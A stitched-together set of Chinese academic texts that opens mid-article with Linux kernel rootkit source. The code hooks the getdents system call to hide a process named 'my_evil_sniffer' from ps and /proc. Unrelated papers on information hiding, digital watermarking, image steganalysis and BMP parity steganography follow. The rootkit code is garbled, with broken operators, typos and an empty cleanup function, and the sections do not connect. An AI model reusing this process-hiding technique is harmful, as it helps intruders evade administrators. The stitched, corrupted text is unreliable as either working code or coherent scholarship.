2 進(jìn)程活動(dòng)隱藏技術(shù)
攻擊者在目標(biāo)系統(tǒng)進(jìn)行攻擊活動(dòng)時(shí),產(chǎn)生攻擊進(jìn)程,如果不將這些攻擊進(jìn)程隱藏在系統(tǒng)中,就會(huì)被網(wǎng)絡(luò)安全管理人員發(fā)現(xiàn)。例如,攻擊者注冊(cè)到某臺(tái)Linux主機(jī)時(shí),系統(tǒng)管理人員使用ps-ef | grep in.telnetd命令就可以察覺(jué)。攻擊者可以通過(guò)修改系統(tǒng)的進(jìn)程管理模塊,替換進(jìn)程管理核心模塊,控制進(jìn)程的顯示,主要是netstat、ps等命令。下面給出Linux系統(tǒng)下隱藏進(jìn)程源程序的例子:
extern void* sys_call_table[];
/*隱藏進(jìn)程名稱(chēng)*/
char mtroj[]="my_evil_sniffer";
int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);
/*convert a string to number*/
int myatoi(char *str)
{ int res=0;
int mul=1;
char *ptr;
for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {
if(*ptr'9')
return(-1);
res+=(*ptr-'0') *mul;
mul*=10;}
return (res);}
/*從task structure中獲取進(jìn)程號(hào)*/
struct task_struct *get_task(pid_t pid)
{ struct task_struck *p=current;
do { if (p->pid==pid)
returnp;
p=p->next_task; }
while (p!=current);
return NULL;}
/*從task structure獲取進(jìn)程名稱(chēng)*/
static inline char *task_name(struct task_struct *p,char *buf)
{ int i; char *name;
name=p->comm;
i=sizeof(p->comm);
do {unsigned char c=*name;
name++; i--;
*buf=c;
if (!c);
break;
if (c=='\\') {
buf[1]=c; buf+=2;
continue; }
if (c= ='\n') {
buf[0]='\\';
buf[1]='n'; buf+=2;
continue; }
buf++;}
while (i);
*buf=’\n’;
return buf+1;}
/*確認(rèn)需要隱藏的進(jìn)程*/
int invisible (pid_t pid)
{struct task_struct *task=get_task (pid);
char *buffer;
if (task) {
buffer=kmalloc (200,GFP_KERNEL);
memset (buffer,0,200);
task_name (task,buffer);
if (strstr (buffer, (char *) &mtroj)) {
kfree (buffer);
return 1; }
}return 0;}
int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)
{unsigned int tmp,n;
int t,proc=0;
struct inode *dinode;
struct dirent dirp2,dirp3;
tmp=(*orig_getdents) (fd,dirp,count);
#idef _LINUX_DCACHE_H
dinode=current->files->fd[fd]->d_inode;
#else
dinode=current->files->f_inode;
#endif
if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&
MINOR (dinode->I_dev) = =1)
proc=1;
if (tmp>0) {
dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);
memcpy_fromfs( dirp2,dirp,tmp);
dirp3=dirp2;t=tmp;
while (t>0) {
n=dirp3->d_reclen;
t-=n;
if ((proc && invisble (myatoi (dirp3->d_name)))) {
if (t!=0)
memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);
else
dirp3->d_off=1024;
tmp-=n;}
if (t!=0)
dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}
memcpy_tofs (dirp,dirp2,tmp);
kfree (dirp2);}
return tmp;
int init_module (void)/*module setup*/
{orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;return 0;}
void cleanup_module (void)/*module shutdown*/
中圖分類(lèi)號(hào):TN918.6
當(dāng)今社會(huì)已經(jīng)進(jìn)入到了一體化的網(wǎng)絡(luò)時(shí)代,網(wǎng)絡(luò)成為最重要的傳媒手段,各種信息都通過(guò)網(wǎng)絡(luò)進(jìn)行傳播,包括個(gè)人信息、軍事信息、私密信息等,如何在這種開(kāi)放的環(huán)境中,最大程度保證信息的安全,是當(dāng)下網(wǎng)絡(luò)技術(shù)的熱點(diǎn)話(huà)題。但是隨著信息技術(shù)的發(fā)展,計(jì)算機(jī)處理信息的能力也有所增強(qiáng),傳統(tǒng)的秘鑰不再能保證信息的絕對(duì)安全,因此數(shù)據(jù)的隱藏技術(shù)成為了熱點(diǎn),也是保護(hù)信息的重要手段。
1 信息隱藏技術(shù)概述
1.1 信息隱藏技術(shù)基本內(nèi)涵。信息隱藏技術(shù)主要是將秘密信息隱藏在普通的文件中,并通過(guò)數(shù)字化的信號(hào)進(jìn)行處理,這樣通過(guò)對(duì)于用戶(hù)的視覺(jué)冗余來(lái)進(jìn)行隱藏,最大程度保證信息的安全性。隱藏后的信息會(huì)使媒體的搜索目標(biāo)變小,甚至無(wú)法發(fā)現(xiàn),這樣秘密的信息和文件便可以通過(guò)這種形式來(lái)保護(hù)信息。信息隱藏技術(shù)目前應(yīng)用比較廣廣泛,主要包括以下內(nèi)容。首先是隱藏術(shù),主要內(nèi)容是進(jìn)行秘密形式的通信,并且將信息藏匿與其他的普通信息中,信息隱藏主要是以第三方信息保護(hù)的形式,便于將信息傳輸?shù)侥康目蛻?hù)端。第二是數(shù)字水印,可以是作者的序列號(hào)、公司的標(biāo)識(shí)等,主要是能證明被保護(hù)的信息或者文件可以被證明以及查詢(xún)侵權(quán)的一種途徑。第三是數(shù)據(jù)嵌入。在不同形式的信息中,技術(shù)模式吸取了隱藏術(shù)與水印的優(yōu)勢(shì),并通過(guò)嵌入的方式對(duì)于秘密信息進(jìn)行保護(hù)。第四是指紋與標(biāo)簽,是水印的一種特殊用途,水印的每個(gè)特定的信息可以進(jìn)行信息的拷貝。
1.2 信息隱藏技術(shù)的特點(diǎn)。信息隱藏技術(shù)與傳統(tǒng)的信息加密不同,基本目的并不是限制文件資料的提取與保存,而是將數(shù)據(jù)信息隱藏最小化。除此之外,信息隱藏技術(shù)還要充分考慮到信息在通過(guò)多種程序處理之后,仍然具備可以運(yùn)行操作的性質(zhì),不會(huì)被破壞基礎(chǔ)屬性,因此信息隱藏技術(shù)需要具備以下特點(diǎn)。
(1)隱蔽性。信息隱藏的首要特性便是隱蔽性,主要指的是信息在嵌入之后,最大程度避免信息質(zhì)量的改變,同時(shí)也能掩飾信息的基本特征,在傳輸過(guò)程中不會(huì)引起察覺(jué),在視覺(jué)方面可以很好保護(hù)信息不被發(fā)現(xiàn),保證原始信息的一致性。例如擁有相同的統(tǒng)計(jì)分布,這樣變會(huì)混淆攔截者的信息判斷能力,保證信息的安全;(2)安全性。隱藏技術(shù)需要具備較強(qiáng)的安全性能,可以有效避免黑客的侵襲與共計(jì),最大程度保護(hù)隱藏信息的安全;(3)恢復(fù)性。被保護(hù)的信息會(huì)經(jīng)過(guò)多重程序進(jìn)行處理與改變,因此特性上會(huì)發(fā)生一定改變,如果原始信息受到了破壞,那么隱藏技術(shù)需要通過(guò)保存下來(lái)的信息來(lái)恢復(fù)原來(lái)的文件,這樣保證傳輸?shù)男畔?zhǔn)確性。
2 信息隱藏的技術(shù)方法
2.1 替換技術(shù)。人的感官系統(tǒng)對(duì)于一些細(xì)小的變化比較敏感,因此替換技術(shù)的核心就在于改變這些被保護(hù)文件中秘密的細(xì)節(jié)部分,并不被非法用戶(hù)注意。這種形式并不會(huì)影響被保護(hù)信息的性質(zhì),而且可以對(duì)于被保護(hù)信息進(jìn)行編碼程序,當(dāng)前應(yīng)用比較廣泛的替換技術(shù)包括最低比例的一換技術(shù)、隨機(jī)的替換技術(shù)、特定區(qū)域替換技術(shù)等等。
2.2 變換技術(shù)。絕大多數(shù)的信息隱藏技術(shù)都是通過(guò)正交變換域來(lái)實(shí)現(xiàn)的,由此可見(jiàn)變換技術(shù)核心是通過(guò)擴(kuò)頻技術(shù)和密碼學(xué)原理,將被保護(hù)的信息嵌入到普通信息的變換域中,同時(shí)利用算法來(lái)進(jìn)行信息的提取,轉(zhuǎn)換為隱蔽的形式。這種變換技術(shù)充分利用了人體感官對(duì)于空間頻率差異的敏感程度,進(jìn)而改變被保護(hù)信息的性質(zhì),確保信息不被察覺(jué)。
2.3 擴(kuò)頻技術(shù)。被保護(hù)信息在進(jìn)行隱藏的過(guò)程中,有可能會(huì)導(dǎo)致信息的破壞,甚至信息的消除,因此為了保護(hù)信息的原始特性,可以利用重復(fù)編碼的形式來(lái)進(jìn)行擴(kuò)頻。在被保護(hù)的信息中插入一個(gè)參數(shù),確保信息在處理后仍然可以進(jìn)行擴(kuò)頻,通常選擇高速率的隨機(jī)碼來(lái)進(jìn)行發(fā)送,而且這種信息數(shù)據(jù)自身的信號(hào)也可以完成擴(kuò)展。
3 信息隱藏技術(shù)的應(yīng)用
3.1 數(shù)字水印技術(shù)的應(yīng)用。數(shù)字水印技術(shù)是信息隱藏技術(shù)最重要的一種形式,主要是通過(guò)在多媒體中插入不可感知的信息,因而實(shí)現(xiàn)對(duì)于信息的保護(hù)以及對(duì)于操作的記錄、跟蹤。
(1)版權(quán)保護(hù)。在數(shù)字水印技術(shù)的應(yīng)用中,版權(quán)保護(hù)是最重要的內(nèi)容,主要是將重要的版權(quán)信息嵌入到圖像、音頻、文本中,目的是進(jìn)行區(qū)分、標(biāo)識(shí)以及解釋版權(quán)。在一些逐步實(shí)現(xiàn)數(shù)字化的行業(yè),例如數(shù)字圖書(shū)館、數(shù)字新聞等,很多信息容易受到篡改,知識(shí)產(chǎn)權(quán)保護(hù)能力比較差,因此通過(guò)信息隱藏技術(shù)中的水印技術(shù),既可以最大程度保持作品的原始性,又難以被非法用戶(hù)進(jìn)行篡改,通過(guò)特殊標(biāo)識(shí)的嵌入,可以是數(shù)字、文字、圖標(biāo),與原始文件的結(jié)合,不會(huì)嚴(yán)重破壞數(shù)據(jù)的功能,還能具備一定的商用價(jià)值。這種水印通常情況下是不可見(jiàn)的,特別是在涉及知識(shí)產(chǎn)權(quán)糾紛中,可以通過(guò)特定秘鑰提取出水印,進(jìn)而實(shí)現(xiàn)保護(hù)自主知識(shí)產(chǎn)權(quán)的目的;(2)指紋識(shí)別。通過(guò)數(shù)字水印技術(shù)可以在文件中標(biāo)注出授權(quán)的單位以及特殊名稱(chēng),通過(guò)文件的原始性保證在特殊處理之后以及用戶(hù)的接受、存儲(chǔ)之后,文件特性不會(huì)發(fā)生改變。因此如果在被保護(hù)文件通過(guò)隱藏技術(shù)傳輸之后,便可以標(biāo)注的信息追蹤到文件的相關(guān)責(zé)任人,這樣對(duì)于調(diào)查、規(guī)則也有據(jù)可循。這種指紋識(shí)別的技術(shù)實(shí)質(zhì)是一種跟蹤功能,特別是在數(shù)字產(chǎn)品的應(yīng)用中,版權(quán)人可以將不同用戶(hù)的序列號(hào)進(jìn)行處理,嵌入到這些合法的拷貝中,這樣在出售合法的拷貝的時(shí)候,可以與嵌入的信息相對(duì)照,如果是非法的、未經(jīng)授權(quán)的拷貝產(chǎn)品,版權(quán)人便可以通過(guò)指紋來(lái)追蹤,進(jìn)而找尋到泄密者。
3.2 隱藏通信技術(shù)的應(yīng)用。隱藏通信技術(shù)主要是將被保護(hù)的秘密的信息、文件隱匿于某些普通的公開(kāi)文件中,進(jìn)而保證在傳輸過(guò)程中秘密信息的安全性。以隱藏載體形式的不同,可以劃分為文本的隱藏、語(yǔ)音的隱藏和視頻的隱藏等。在實(shí)踐中主要應(yīng)用于數(shù)據(jù)的保密,例如在電子商務(wù)中時(shí)常會(huì)涉及到一些重要的信息,如商業(yè)機(jī)密、秘密協(xié)議、金融交易等,這些重要的數(shù)據(jù)信息一旦泄露可能會(huì)為個(gè)人或者企業(yè)帶來(lái)?yè)p失,因此防止非法用戶(hù)中途攔截這些數(shù)據(jù),便可以采用隱藏通信技術(shù),將信息以隱藏的形式進(jìn)行傳輸,有效避免非法用戶(hù)的攔截,最大程度保證信息安全。
4 結(jié)束語(yǔ)
信息隱藏技術(shù)方式多樣,應(yīng)用靈活,在未來(lái)的信息保護(hù)中將會(huì)得到廣泛應(yīng)用,但是這種技術(shù)手段目前還在發(fā)展階段,在理論體系方面還在不斷趨于成熟與完善,特別是在現(xiàn)實(shí)應(yīng)用中還有待于進(jìn)一步優(yōu)化,存在的問(wèn)題亟待解決。例如數(shù)字水印模型的構(gòu)建、抗攻擊性的提升等等,在算法上也在逐步完善。信息隱藏技術(shù)作為一把雙刃劍,在應(yīng)用方面也要利用特征優(yōu)勢(shì),更好地為當(dāng)下的信息傳輸做貢獻(xiàn)。
參考文獻(xiàn):
[1]戴躍偉.信息隱藏技術(shù)的理論及應(yīng)用研究[D].南京理工大學(xué),2012.
[2]劉潔.信息隱藏技術(shù)及應(yīng)用[J].現(xiàn)代情報(bào),2011.
[3]尹蘭.基于文本的信息隱藏技術(shù)的研究[D].貴州大學(xué),2007.
[4]高真.密文圖像中的可逆信息隱藏算法研究[D].重慶大學(xué),2013.
[5]特列克別克?米沙.一種新的信息隱藏算法的設(shè)計(jì)研究[D].電子科技大學(xué),2013.
信息隱藏的概念在幾千年前就已經(jīng)存在,主要是對(duì)于想要傳遞的文字、圖像、聲音等信息進(jìn)行隱藏工作。互聯(lián)網(wǎng)技術(shù)發(fā)展迅速的今天,如何在信息的傳輸過(guò)程中保證信息安全性,并且保證圖像等信息可以被接收人正常識(shí)別,已經(jīng)成為研究的重要課題。
1 基于圖像的信息隱藏檢測(cè)技術(shù)
1.1 信息隱藏檢測(cè)技術(shù)
1.1.1 攻擊技術(shù)。攻擊技術(shù)是指,認(rèn)為的對(duì)隱藏圖像信息進(jìn)行攻擊破壞,可以簡(jiǎn)單有效地使隱藏圖像信息被損壞,使之無(wú)法被識(shí)別。這種方法對(duì)于破壞傳輸信息是極為有效地方法,要謹(jǐn)慎使用,很容易造成信息徹底被破壞掉。
1.1.2 檢測(cè)技術(shù)要判斷是否有隱藏圖像信息,對(duì)信息進(jìn)行檢測(cè)是判斷其是否存在的有效辦法,既能保證信息完整性,有可以對(duì)隱藏信息進(jìn)行有效識(shí)別。檢測(cè)是對(duì)于隱藏的圖像信息進(jìn)行分析的首要步驟。
1.1.3 破解技術(shù)在發(fā)現(xiàn)隱層圖像信息之后,要想得到隱藏的圖像信息,就要應(yīng)用破解技術(shù)對(duì)加密技術(shù)進(jìn)行破解,難度最大,也是整個(gè)分析過(guò)程的核心工作。
1.2 信息隱藏檢測(cè)技術(shù)
信息隱藏檢測(cè)技術(shù)依照研究的客體不同可以分為兩類(lèi),分別是:
a. 對(duì)比檢測(cè)技術(shù)。這種技術(shù)主要是講原始信息載體和隱藏后的信息載體進(jìn)行對(duì)比,分析兩者間像素的關(guān)聯(lián)性,來(lái)實(shí)現(xiàn)隱藏信息檢測(cè)。此種檢測(cè)方式相對(duì)簡(jiǎn)單,但是由于原始載體獲取不易,所以使用效果并不能理想。
b. 盲檢測(cè)技術(shù)。這種技術(shù)不需要獲取原始信息載體,主要是通過(guò)對(duì)于現(xiàn)有隱藏信息載體的自然數(shù)圖像特征進(jìn)行分析,判斷其信息是都進(jìn)行了隱藏,雖然這種技術(shù)對(duì)于技術(shù)水平的要求更高,但是應(yīng)用效果也會(huì)更好。
信息隱藏檢測(cè)技術(shù)依照研究角度不同還可以分為另外兩種技術(shù),分別是:
a. 時(shí)控域檢測(cè)方法。這種檢測(cè)方式是依據(jù)信息在時(shí)控域的嵌入方式不用來(lái)檢測(cè)信息時(shí)候被隱藏的。這種檢測(cè)方法在應(yīng)用的時(shí)候檢測(cè)方向單一,對(duì)于多種不同信息隱藏僅應(yīng)用了一種統(tǒng)計(jì)方法。
b. 頻率域檢測(cè)方法。這種方法是對(duì)于圖像信息在頻率域中的表現(xiàn)特性不同,來(lái)進(jìn)行隱藏圖像分析的。利用這種特性可以檢測(cè)圖像信息是否有被嵌入隱藏信息。
信息隱藏檢測(cè)技術(shù)依照檢測(cè)特性還可以分為以下兩種:
a. 基于簽名的檢測(cè)方法。這種方法是應(yīng)用已知的檢測(cè)工具,來(lái)進(jìn)行隱藏信息分析。這種方法的優(yōu)勢(shì)是檢測(cè)的準(zhǔn)確率很高,并且還可以分析出隱藏信息使用的具體嵌入技術(shù)。但是對(duì)于未知的信息嵌入方式無(wú)法進(jìn)行檢測(cè)。
b. 基于系統(tǒng)的檢測(cè)方法。這種方法主要通過(guò)改變數(shù)字圖像的統(tǒng)計(jì)特性來(lái)進(jìn)行檢測(cè)工作,在實(shí)際應(yīng)用過(guò)程中通過(guò)判斷信息是否出現(xiàn)偏離,而確定信息的隱藏。這種方法對(duì)于一類(lèi)圖像的檢測(cè)極為有效,較為通用。但是對(duì)于外界因素的影響阻擋較弱。
1.3 信息隱藏檢測(cè)技術(shù)優(yōu)劣衡量方式
無(wú)論是哪種信息隱藏檢測(cè)技術(shù),首要的都是抱著檢測(cè)質(zhì)量,只有保證隱藏信息檢測(cè)的準(zhǔn)確性才能進(jìn)一步的對(duì)信息進(jìn)行破解分析,獲取隱藏信息,其次就是要注意檢測(cè)的速度,一個(gè)需要幾天幾夜才能檢測(cè)出隱藏信息的方法,就算保證了檢測(cè)的準(zhǔn)確性,但也不能說(shuō)這種算法是好的、優(yōu)質(zhì)的。在網(wǎng)絡(luò)信息傳播如此快速的今天,速度在某種程度上也代表一切。
2 主流圖像隱藏識(shí)別技術(shù)
現(xiàn)階段,在圖像隱藏中應(yīng)用的識(shí)別技術(shù)主要有三種,分別是:
2.1 基于數(shù)字水印算法的圖像隱藏信息識(shí)別技術(shù)
數(shù)字水印技術(shù)是一種新興的信息隱藏技術(shù),可以將秘密信息嵌入到數(shù)字媒體的冗余比特中去,從而達(dá)到不可見(jiàn)的目的。不同于密碼術(shù),信息隱藏技術(shù)的目的在于隱藏秘密信息的存在本身,因此具有更強(qiáng)的信息保密性和信息安全性。數(shù)字水印技術(shù)和隱藏信息檢測(cè)技術(shù)涉及計(jì)算機(jī)、通信、編碼、信號(hào)處理、數(shù)理統(tǒng)計(jì)、生物視覺(jué)聽(tīng)覺(jué)特性等知識(shí)和技術(shù),是一個(gè)跨學(xué)科的新領(lǐng)域。無(wú)論是在多媒體信號(hào)中嵌入不易察覺(jué)的秘密信息,還是從大量媒體信號(hào)中檢測(cè)這類(lèi)秘密信息的存在性,都是富有挑戰(zhàn)性的技術(shù)課題。
基于數(shù)字水印算法的圖像隱藏信息識(shí)別技術(shù)針對(duì)LSB嵌入方式水印的改進(jìn)全盲檢測(cè)算法,提高了擬合的精度,減小了載體圖像初始偏移量對(duì)估計(jì)準(zhǔn)確度的影響。在不明顯增加時(shí)間復(fù)雜度的前提下,改進(jìn)算法在全盲情況下估計(jì)隱藏信息長(zhǎng)度時(shí),可以獲得比其他算法更高的檢測(cè)準(zhǔn)確度,而且適用范圍也很廣,是一種可以快速估計(jì)待測(cè)圖像中嵌入水印序列長(zhǎng)度的算法,具有實(shí)際應(yīng)用上的價(jià)值。
2.2 逆向隱藏變換算法的圖像隱藏信息識(shí)別技術(shù)
在圖像信息隱藏領(lǐng)域使用平面隱藏圖像逆向變換方法,能夠利用圖像像素空間位置建立圖像灰度分布模型,通過(guò)灰度分布模型獲取灰度數(shù)值矩陣,則可以將進(jìn)行置亂處理后的灰度數(shù)值進(jìn)行逆向變換,從而還原初始圖像。假設(shè)將上述變換方式使用到圖像隱藏信息識(shí)別中,用于信息的傳遞和隱藏方面,尤其是用于圖像隱藏信息交換方面,則能夠獲取理想的圖像信息隱藏效果。
根據(jù)圖像中的噪聲,能夠?qū)D像進(jìn)行隱藏信息識(shí)別。假設(shè)噪聲和隱藏信息混雜在一起,造成隱藏信息特征發(fā)生形狀改變。因此,無(wú)法避免由于噪聲和隱藏信息混雜造成的隱藏信息特征形變的缺陷。利用逆向隱藏變換算法進(jìn)行圖像隱藏信息識(shí)別,需要對(duì)隱藏信息進(jìn)行置亂處理,將隱藏信息嵌入到初始圖像中,并利用密鑰提取隱藏信息,從而實(shí)現(xiàn)圖像隱藏信息的識(shí)別。
基于逆向隱藏變換算法的圖像隱藏信息識(shí)別方法,可以對(duì)隱藏信息進(jìn)行置亂處理,將信息嵌入到初始圖像中,利用密鑰提取隱藏信息,從而完成了圖像隱藏信息的識(shí)別。這種算法提高了識(shí)別的準(zhǔn)確率,取得了令人滿(mǎn)意的效果。
2.3 圖像隱藏信息識(shí)別創(chuàng)新點(diǎn)分析
基于圖像的信息隱藏檢測(cè)算法仍不成熟,還需進(jìn)一步的深入研究.而支撐這種研究的重要資源就是一個(gè)可以分析、實(shí)驗(yàn)的軟件平臺(tái).通過(guò)分析系統(tǒng)平臺(tái),可以進(jìn)行算法的設(shè)計(jì)、分析、實(shí)驗(yàn)、測(cè)試.基于圖像的信息隱藏分析系統(tǒng)平臺(tái)應(yīng)該具有較好的實(shí)驗(yàn)功能、集成現(xiàn)有的算法、具有良好的可擴(kuò)充性,但是對(duì)系統(tǒng)運(yùn)行的速度要求不高。
3 結(jié)論
計(jì)算機(jī)技術(shù)的發(fā)展,使人們的生產(chǎn)生活越來(lái)越依賴(lài)網(wǎng)絡(luò),信息安全性是網(wǎng)絡(luò)信息傳輸?shù)年P(guān)注重點(diǎn),現(xiàn)有的信息隱藏技術(shù)有隱寫(xiě)術(shù)以及數(shù)字水印技術(shù),雖然可以保證信息的安全,但是在加密圖像信息的傳輸過(guò)程中,很容易出現(xiàn)亂碼等問(wèn)題,所以如何在對(duì)圖像信息進(jìn)行加密隱層后,保證識(shí)別后的圖像質(zhì)量,是研究的核心,傳統(tǒng)的三種識(shí)別技術(shù)在圖像信息隱藏傳輸?shù)淖R(shí)別上各有優(yōu)勢(shì),也各有利弊,研究人員的工作依舊是任重而道遠(yuǎn)。
1 介紹
隨著計(jì)算機(jī)技術(shù)和Internet的迅速發(fā)展與應(yīng)用,計(jì)算機(jī)越來(lái)越應(yīng)用到了人們生活的方方面面中,又由于計(jì)算機(jī)在通訊方面突出表現(xiàn),使其在各種信息交換、傳遞的領(lǐng)域更是獨(dú)樹(shù)一幟。事有兩面,在計(jì)算機(jī)進(jìn)行快速信息交換的同時(shí)也帶來(lái)了一定的安全性問(wèn)題,對(duì)于一些高度機(jī)密的文檔信息,就不能用普通的方法(如普通的U盤(pán)拷貝、發(fā)送電子郵件)進(jìn)行交換和傳遞了。這樣如何將機(jī)密文檔信息在安全的情況下用現(xiàn)代的信息傳遞手段進(jìn)行快速傳遞成為現(xiàn)在的一個(gè)新的研究課題。
信息隱藏技術(shù)的文檔信息傳輸是這個(gè)課題的核心,它是將機(jī)密文檔處理后隱藏到普通的BMP圖片中,把隱藏有信息的圖片通過(guò)計(jì)算機(jī)發(fā)送到接收方,接收方再解釋出隱藏文檔的方法。這種方法不同于單獨(dú)發(fā)送加密文件的優(yōu)點(diǎn)在于,不容易引起攻擊者的注意。因?yàn)橹虚g信息是類(lèi)同于普通的BMP圖片。這種方法的要求有兩點(diǎn):
隱藏信息后的彩色BMP圖像與原始圖像相比,在人的視覺(jué)上沒(méi)有什么區(qū)別;
隱藏信息后的彩色BMP圖像與原始圖像相比,大小上沒(méi)有多大變化;
2 BMP位圖說(shuō)明
BMP圖像文件格式,是微軟公司為其WINDOWS環(huán)境設(shè)置的標(biāo)準(zhǔn)圖像格式,在Windows系統(tǒng)軟件中包含了一系列支持BMP圖像處理的API函數(shù)。隨著WINDOWS操作系統(tǒng)在世界范圍內(nèi)的普及, BMP文件格式越來(lái)越多地被各種應(yīng)用軟件所支持。
BMP圖像文件是位圖文件,位圖表示的是將一幅圖像分割成一個(gè)個(gè)很小的柵格,每個(gè)柵格縮小為一個(gè)點(diǎn)稱(chēng)為像素,每一個(gè)像素具有自已的數(shù)值,即一幅圖像是由一系列像素點(diǎn)構(gòu)成的點(diǎn)陣。BMP中按第個(gè)像素?cái)?shù)值(像素位值)的取值范圍可以分為1位、4位、8位、24位圖片。像素位值的大小體現(xiàn)了圖片彩色質(zhì)量的好壞,同時(shí)也決定了圖片保存時(shí)占用空間的多少。①1位圖片就是指黑白圖片,圖片中每一由黑白兩種顏色組成,它是占用空間最少的位圖,同時(shí)是圖片質(zhì)量最差的;②4位圖片是16色的彩色圖片,圖片中每個(gè)像素位的范圍為0到15,帶有彩色,但彩色質(zhì)量很差,占用空間小;③8位圖片是256色的彩色圖片,圖片中每個(gè)像素位的范圍為0到255,彩色質(zhì)量相對(duì)好,占用空間大;④24位圖片就是所說(shuō)的真彩色的彩色圖片,圖片中每個(gè)像素位由三個(gè)字節(jié)組成,彩色質(zhì)量相對(duì)好,占用空間最大;
這里討論的主要是對(duì)24位真彩色圖片的處理。
3 信息處理的原理
3.1 信息隱藏
信息隱藏就是將文檔信息隱藏在真彩色BMP圖片中,其流程如圖1所示:
圖2中,每一個(gè)點(diǎn)表示位圖中的一個(gè)像素,每一個(gè)像素的值范圍在0到16777215間。在隱藏信息時(shí)每一個(gè)像素的奇偶性作為隱藏?cái)?shù)據(jù)的依據(jù)。如果此像素的值為偶數(shù)表示數(shù)據(jù)為0,如果此像素的值為奇數(shù)時(shí)表示數(shù)據(jù)為1,用0和1的不同排列組全表示各種數(shù)據(jù)。而這種表示方式正好與各種磁盤(pán)保存數(shù)據(jù)的方式相同(磁盤(pán)中的數(shù)據(jù)也是以0和1的方式 :二進(jìn)制方式保存的)。這樣從磁盤(pán)中讀取出文檔的內(nèi)容,使位圖中各個(gè)像素的奇偶性和文檔內(nèi)容的奇偶性對(duì)應(yīng),就在位圖中隱藏了信息這個(gè)過(guò)程叫位圖像素調(diào)制。其中的對(duì)應(yīng)規(guī)則復(fù)雜程度是有效防止隱藏的信息被非法解讀出的難易程度的體現(xiàn)。對(duì)應(yīng)規(guī)則越復(fù)雜越難被非法解讀出來(lái)。
再對(duì)位圖中每行中隱藏的數(shù)據(jù)進(jìn)行位異或和CRC_32校驗(yàn),可以有效的驗(yàn)證解讀出數(shù)據(jù)的有效性和正確性。信息隱藏過(guò)程舉例:BMP位圖第一行前8個(gè)像素的值為:13075297, 13075297, 13075297,13074781,13404000,13206622,13272413,13206620,要隱藏的數(shù)據(jù)為01010101,ASC碼值為85。將像素值的奇偶性與數(shù)據(jù)比較后要作如下的調(diào)制:
第一個(gè)像素:13075297隱藏信息0,要調(diào)整為偶數(shù)13075298;
第二個(gè)像素:13075297隱藏信息1,不變;
第三個(gè)像素:13075297隱藏信息0,要調(diào)整為偶數(shù)13075298;
第四個(gè)像素:13074781隱藏信息1,不變;
第五個(gè)像素:13404000隱藏信息0,不變;
第六個(gè)像素:13206622隱藏信息1,要調(diào)整為奇數(shù)13206623;
第七個(gè)像素:13272413隱藏信息0,要調(diào)整為偶數(shù)13272414;
第八個(gè)像素:13206620隱藏信息1,要調(diào)整為奇數(shù)13206621;
經(jīng)過(guò)這樣的調(diào)制,此BMP位圖第一行前8個(gè)像素的奇偶性便與85轉(zhuǎn)化的8位二進(jìn)制數(shù)完全相同,這樣,8個(gè)像素就隱藏了一個(gè)字節(jié)的信息。
綜上所述,將信息隱藏入BMP位圖中的步驟為:
讀取文件的二進(jìn)制內(nèi)容;
將位圖每個(gè)像素的奇偶性與二進(jìn)制數(shù)據(jù)進(jìn)行比較;
通過(guò)調(diào)節(jié)每個(gè)像素的奇偶性便之與文件的二進(jìn)制內(nèi)容一致,就將信息隱藏到BMP位圖中了;
3.2 信息解讀
信息解讀就是從隱藏有信息的BMP位圖中解讀出隱藏的信息,是信息隱藏的逆過(guò)程,其流程如圖三所示:
信息解讀過(guò)程如下:
判斷BMP位圖中每個(gè)像素值的奇偶性,若為偶數(shù),則輸出“0”;若為奇數(shù),則輸出“1”;
每8個(gè)像素輸出8個(gè)0和1組成的二進(jìn)制數(shù)據(jù),轉(zhuǎn)換為一個(gè)字節(jié);
經(jīng)過(guò)對(duì)所有像素處理,得到一系列的二進(jìn)制數(shù)據(jù),保存成文件,就是隱藏的信息。
本次實(shí)驗(yàn)結(jié)果如圖4、圖5所示。
5 總結(jié)
(1)由于原始24位BMP圖像文件隱藏信息后,其像素位數(shù)值最多變化1(因?yàn)槭窍袼匚恢导印?”或減“1”),該像素位代表的顏色最多只變化了1/16777216,所以,已隱藏信息的BMP圖像與未隱藏信息的BMP圖像,用肉眼是看不出差別的;
(2)由于此法只修改出BMP位圖中每個(gè)像素的值,而沒(méi)有改變像素的數(shù)量,所有在保存圖片時(shí)的大小沒(méi)有改變,所有隱藏了文檔信息后位圖的大小沒(méi)有改變;
(3)使用這種方法,隱藏的文檔信息是直接讀取的文件,所以對(duì)文件格式?jīng)]有限制,可以是TXT文件、WORD文件等。
中圖分類(lèi)號(hào):TP391文獻(xiàn)標(biāo)識(shí)碼:B文章編號(hào):1009-3044(2007)16-31041-02
Development of Windows File Concealment Software Based on Information Concealment Technology
YUE Jun-mei
(Taiyuan Polytechnic Institute Yangquan, Yangquan 045000, China)
Abstract:The text introduce a simple method f of hiding file to BMP image.The size of BMP image file is not changed and the BMP image data is changed by 1/256 on color,which is not touched by eyes.The file concealment software which is developed on Delphi 2005 proves the feasibility and the validity of this method.
Key words:Information Concealment;BMP image;Delphi 2005
1 引言
如今,人們的生活與計(jì)算機(jī)已經(jīng)息息相關(guān)了。我們存放在電腦內(nèi)的諸多資料總是希望不為人知,利用加密軟件是一招,但那樣容易引起別人的注意;利用位圖實(shí)現(xiàn)信息隱藏也是可用的一招,該方法信息隱藏率高,又無(wú)需占用任何資源。它充分利用24位BMP文件的冗余空間,把一批文件插入到這類(lèi)文件中去,而不破壞原文件的結(jié)構(gòu)和顯示效果。這樣,就可以將多個(gè)秘密文件保存于一個(gè)24位的BMP文件中,保存后的圖像與原始圖像相比,在人的視覺(jué)上沒(méi)有什么區(qū)別。
2 BMP隱藏文件的原理
2.1 BMP圖像的文件格式
